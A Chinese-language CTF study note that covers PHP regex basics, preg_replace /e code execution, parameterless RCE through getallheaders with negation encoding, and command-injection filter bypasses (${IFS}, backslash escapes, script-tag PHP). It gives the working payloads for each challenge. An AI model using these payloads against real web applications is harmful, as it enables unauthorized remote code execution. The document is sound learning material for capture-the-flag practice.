一，正则匹配
正则匹配是用来搜索，匹配，替换的一种字符串模式，使用正则匹配可以让搜索匹配的语句更加简洁，在php中会使用一些函数来处理正则匹配
常用的语法：
字符类
[abc]: 匹配单个字符a、b或c[^abc]: 匹配除了a、b和c之外的任意字符[a-z]: 匹配任意小写字母[A-Z]: 匹配任意大写字母[0-9]: 匹配任意数字
通用原子
.: 匹配任意字符\d: 匹配任意数字，等价于[0-9]\w: 匹配任意字母、数字或下划线，等价于[a-zA-Z0-9_]\s: 匹配任意空白字符，如空格、制表符等- \S: 匹配除了空格符之外
- \W:匹配除了字母，数字，下划线之外
限定符
定位符
^: 匹配行的开头$: 匹配行的结尾\b: 匹配单词边界
[BJDCTF 2020]ZJCTF，不过如此
这题涉及到了preg_replace/e模式绕过，所以我觉得要先了解一下正则匹配才会好理解一些。
preg_replace函数是一个正则的搜索替换函数
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
preg_replace ( 正则表达式，替换，目标字符串，最大替换次数[默认-1]，替换次数 )
在/e模式下,第一个位置和第三个位置都是可控的变量，也就是说，正则匹配和目标字符串都能控制
preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str)foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}
当preg_replace匹配到符号正则的字符串时，就会把替换的字符串当做代码执行，但是替换字符串的位置却固定为字符串，这个字符串的含义为\1，所以这里代表访问临时缓冲区中的第一个子匹配项，也就是第一个位置
看看题目，常规的GET传参和php伪协议，值得一说的是file_get_contents是读取文件的函数，所以传入文件的类型才能读取，所以需要用到data://来写入，在用php://filter读取next.php中的信息
text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php得到base64编码，解码能看到php代码
preg_replace/e模式，id这个传参好像没有用到，这里的思路应该是，看到getFlag()，并且通过它来执行eval命令，所以在上面就应该调用到这个对象。那么就要控制$re,$str，去查了资料，$re这个位置如果想要用.*,匹配任意字符的话，在用\.*做参数传入会被解析为\_*,所以改用\S*匹配（应该是属于利用通配符来匹配，进行任意的匹配来执行函数，访问目标函数）
\S*=${getFlag()}getFlag(),就是缓冲区中的第一个位置，就访问了getFlag，经过foreach遍历数组，\s*=>getFlag,这样就调用了getFlag
cmd=phpinfo();这题我看有些wp，在其他平台的flag可以再flag里面查看，但是NSSCTF的是空的，在phpinfo里面
所以我就写phpinfo
二，RCE(getallheaders()，无参数)
getallheaders()
获取当前请求的所有请求头信息。（该函数不需要参数，因为是获取请求头信息，所以在请求头上进行命令的执行）
返回值：array（返回二维数组）
<?phpforeach (getallheaders() as $name => $value) {echo "$name: $value";
}
?>无参数RCE的一些函数，一般是搭配使用
[鹏城杯 2022]简单的php
看题，参数长度小于等于80，并且过滤了字母数字，属于无字母了，取反绕过
else if里面的‘；’，说明进行没有参数传参来进行preg_replace函数
payload
code=system(current(getallheaders()))进行取反，在二维数组拼接时要用[!%FF]
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'current');
echo "\n";
echo urlencode(~'getallheaders');
?>在请求头执行ls等语句查询目录
最后加转义符绕过(这里的绕过是发现cat不了flag，所以尝试出来的)，拿到flag
[FSCTF 2023]细狗2.0
记录这题是为了记录，在没有回显时，不一定就是使用tee命令，有些可以通过其他的位置来达到回显的目的
看题目，正常输入个1试试水，看看什么情况
进入传参后的页面，一开始认为在"1"这个位置进行命令执行，但是发现怎样都拿不到信息
然后去看了wp，后面的“洗洗睡吧”，这个位置是在命令执行之后显示的，所以可以在这个位置进行命令执行，来拿到信息
存在一个空格绕过，而且我用system执行不了
1;ls${IFS}/
cat和flag也是被过滤了
1;c\at${IFS}/f\lag三，php标签
php标签用于包裹，嵌入PHP代码。在标签中的代码会被服务器解析为PHP代码，并在服务器端执行。这个标签可以用于任何PHP代码，包括变量声明、函数定义、逻辑判断、循环等等。
常见的标签有
<?php echo "hellow";?>
<?php echo "hellow"; //省略?>
<? echo "hellow";?>
<?= phpinfo();?> //<?=相当于echo的用法（在最近的考核中也是涉及到了）
<script language="php"> echo "hellow"; </script>
[FSCTF 2023]EZ_eval
先看源码
为什么会想到用<?php>的形式呢，是因为在eval函数中在末尾拼接了?>，所以觉得应该用php标签
正则过滤了一些命令，不过可以用转义符来绕过,还存在空格过滤，用%09；之后的字符替换中把？用空格替换了，也就导致php标签要选用长标签，长标签中不存在？
word=<script%09language="php">system('ls%09/');
<script%09language="php">system('c\at%09/fl\ag');
